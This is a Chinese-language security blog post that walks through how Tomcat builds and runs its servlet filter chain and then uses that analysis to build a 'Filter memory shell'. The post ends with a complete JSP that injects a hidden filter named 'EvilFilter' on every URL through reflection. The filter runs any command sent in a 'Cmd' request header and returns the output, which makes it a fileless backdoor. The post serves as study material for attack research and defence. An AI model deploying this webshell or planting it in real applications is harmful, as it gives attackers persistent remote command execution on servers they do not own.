Contents

Back

Filter内存马

前言

Filter的基础知识我这里就不写了,因为上一篇文章也写了的。这里就直接从一些知识点开始学

Tomcat Filter流程分析

首先写一个简单的demo

package org.example.servlet;  
  
  
import jakarta.servlet.*;  
import jakarta.servlet.annotation.WebFilter;  
  
import java.io.IOException;  
  
@WebFilter(filterName = "filterdemo1", value = "/*")  
public class filterDemo implements Filter {  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("First");  
        filterChain.doFilter(servletRequest,servletResponse);  
        System.out.println("after");  
    }  
  
  
  
}

记住一下,高版本不需要重写init和destory方法,低版本则需要。

在具体分析流程之前我们先介绍一下后面会遇到的几个类:(最后再来分析一下

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

debug过程我这里因为没有配源码,就拿X1师傅的截图了(后面会放reference)

先跟进到StandardWrapperValve /img/Filter-Memory-Shell/01.png 执行了 filterChain.doFilter 方法, 继续跟进 /img/Filter-Memory-Shell/02.png 在 doFilter 内会检测 jvm 是否开启了安全模式, 然后继续执行 this.internalDoFilter 方法 /img/Filter-Memory-Shell/03.png internalDoFilter 会从 this.filters 数组中依次取出 filterConfig 对象, 然后通过 filterConfig.getFilter() 得到 Filter 实例, 最后调用其 doFilter 方法

这里我跳过了 tomcat 自带的 ws filter, 因此第二次得到的 Filter 就是之前编写的 TestFilter /img/Filter-Memory-Shell/04.png 然后就是这样子去调用doFilter的。

然后就是Filter chain /img/Filter-Memory-Shell/05.png 进来后可以看见通过ApplicationFilterFactory.creatFilterChain()来创建filterchain需要注意创建过程是动态的, 即我们每发起一次请求, tomcat 都会执行一遍 createFilterChain, 这也为后面内存马的植入做了铺垫

跟进创建方法 /img/Filter-Memory-Shell/06.png 我们可以看见,在后面会判断是否有ApplicationFilterChain这个对象,有的话直接给req,没有的话就新建一个给req

/img/Filter-Memory-Shell/07.png 然后从wrapper中获取StandardConext对象,并且调用FindFilterMaps来获取映射,name对应的urlpatterns。 /img/Filter-Memory-Shell/08.png 最后遍历 filterMaps, 通过 filterMap.getFilterName() 从 context 中寻找对应的 FilterConfig 并且添加至 filterChain

所以关键点就在FindFilterchain和FilterConfig了。

FindFilterChain

然后跟进findFilterMaps /img/Filter-Memory-Shell/09.png filterMaps 是 ContextFilterMaps 的实例, 后者相当于一个 Array 然后分析完就是addfilterMap和addfilterMapBefore可以往filterMaps中添加FilterMaps

然后注意一下有个ValidataFilterMap的方法 /img/Filter-Memory-Shell/10.png 然后这里做了一个判断,走到FindfilterDef /img/Filter-Memory-Shell/11.png 本质也是一个 HashMap, 并且存在 addFilterDef 方法 /img/Filter-Memory-Shell/12.png

FilterMap定义 /img/Filter-Memory-Shell/13.png 可以看到内部有filterName和urlPattern属性,分别对应前面的getFilterNmae和@WebFilter注解中的urlpattens

findFilterConfig

接着再跟进 StandardContext 的 findFilterConfig 方法 /img/Filter-Memory-Shell/14.png filterConfigs 的本质也是 HashMap 然后在StandardContext中对其只有filterStart和filterStop两个方法。所以我们如果要去调用或者修改的话,就要利用反射去修改filterConfigs 我这里就不看具体怎么走的了吧。

综上, Filter 的加载流程如下

  1. 通过 ApplicationFilterFactory.createFilterChain() 创建 FilterChain
  2. 调用 StandardContext.findFilterMaps() 得到 filterMaps
  3. 遍历 filterMaps, 依次从 StandardContext 中用 filterMap.getFilterName() 获取对应的 filterConfig, 并将其放入 FilterChain
  4. 执行 FilterChain.doFilter() 并在内部调用 internalDoFilter 方法
  5. 依次执行 filterConfig.getFilter() 获取 Filter 实例, 并最终调用其 doFilter 方法

注入流程

在编写内存马之前, 我们先梳理一下之前出现的各种以 Filter 开头的对象

  • FilterMap: 存在 filterName 和 urlPatterns 属性, 对应 Filter 的名称和匹配规则

  • FilterConfig: 这里具体指 ApplicationFilterConfig, 存在 Filter 和 FilterDef 属性, 其中 Filter 在构造函数中通过 filterDef.getFilter() 取得

  • FilterDef: 存在 filter filterClass filterName 属性, 其中 filter 为被调用的 Filter 实例

然后是位于 StandardContext 中的以 filter 开头的属性

  • filterMaps: 本质为 Array, 存放 FilterMap

  • filterConfigs: 本质为 HashMap, key 为 filterMap 的 filterName, value 为对应的 FilterConfig

  • filterDefs: 本质为 HashMap, key 为 filterMap 的 filterName, value 为对应的 FilterDef

根据上面加载流程, 我们注入内存马的过程为

  1. 在 StandardContext 的 filterDefs 中添加 FilterDef (validateFilterMap 验证)
  2. 向 filterMaps 中添加 FilterMap
  3. 将对应的 FilterConfig (包含 FilterDef) 添加到 filterConfigs

内存马如下

<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%

    // 获取 StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctxField = servletContext.getClass().getDeclaredField("context");
    appctxField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctxField.get(servletContext);
    Field stdctxField = applicationContext.getClass().getDeclaredField("context");
    stdctxField.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctxField.get(applicationContext);

    // 获取 FilterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);

    // 编写 Filter
    String filterName = "EvilFilter";

    if (filterConfigs.get(filterName) == null){
        // 这里使用了匿名类的形式来定义 Filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void destroy() {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
                PrintWriter pw = servletResponse.getWriter();
                String cmd = httpServletRequest.getHeader("Cmd");
                if (cmd != null){
                    Process process = Runtime.getRuntime().exec(cmd);
                    InputStream input = process.getInputStream();
                    BufferedReader br = new BufferedReader(new InputStreamReader(input));
                    String line = null;
                    while ((line = br.readLine()) != null){
                        pw.write(line);
                    }
                    br.close();
                    input.close();
                    pw.write("\n");
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }
        };

        // 创建 FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);

        // 添加 FilterDef
        standardContext.addFilterDef(filterDef);

        // 创建 FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        // 添加 FilterMap 到首位
        standardContext.addFilterMapBefore(filterMap);

        // 因为 ApplicationFilterConfig 的构造方法是不带 public 的, 即默认的作用域为 package, 所以我们需要通过反射来实例化该对象
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        
        // 添加 FilterConfig
        filterConfigs.put(filterName, applicationFilterConfig);

        out.print("inject success");
    }
%>

note

filterChain ApplicationFilterFactory.createFilterChain()->创建filterChain->createFilterChain()->获取filterChain放到req内->从wrapper获取StandardContext对象->findFilterMaps得到filterMaps->遍历filterMaps->filterMap.getFilterName()->FilterConfig添加至filterChain->然后走到上面的dofilter

doFilter->filterChain.doFilter->检测jvm安全模式->this.internalDoFilter方法->从this.filter数组中取出filter.config对象,然后通过filterConfig.getFilter()得到Filter实例,然后调用其doFilter方法。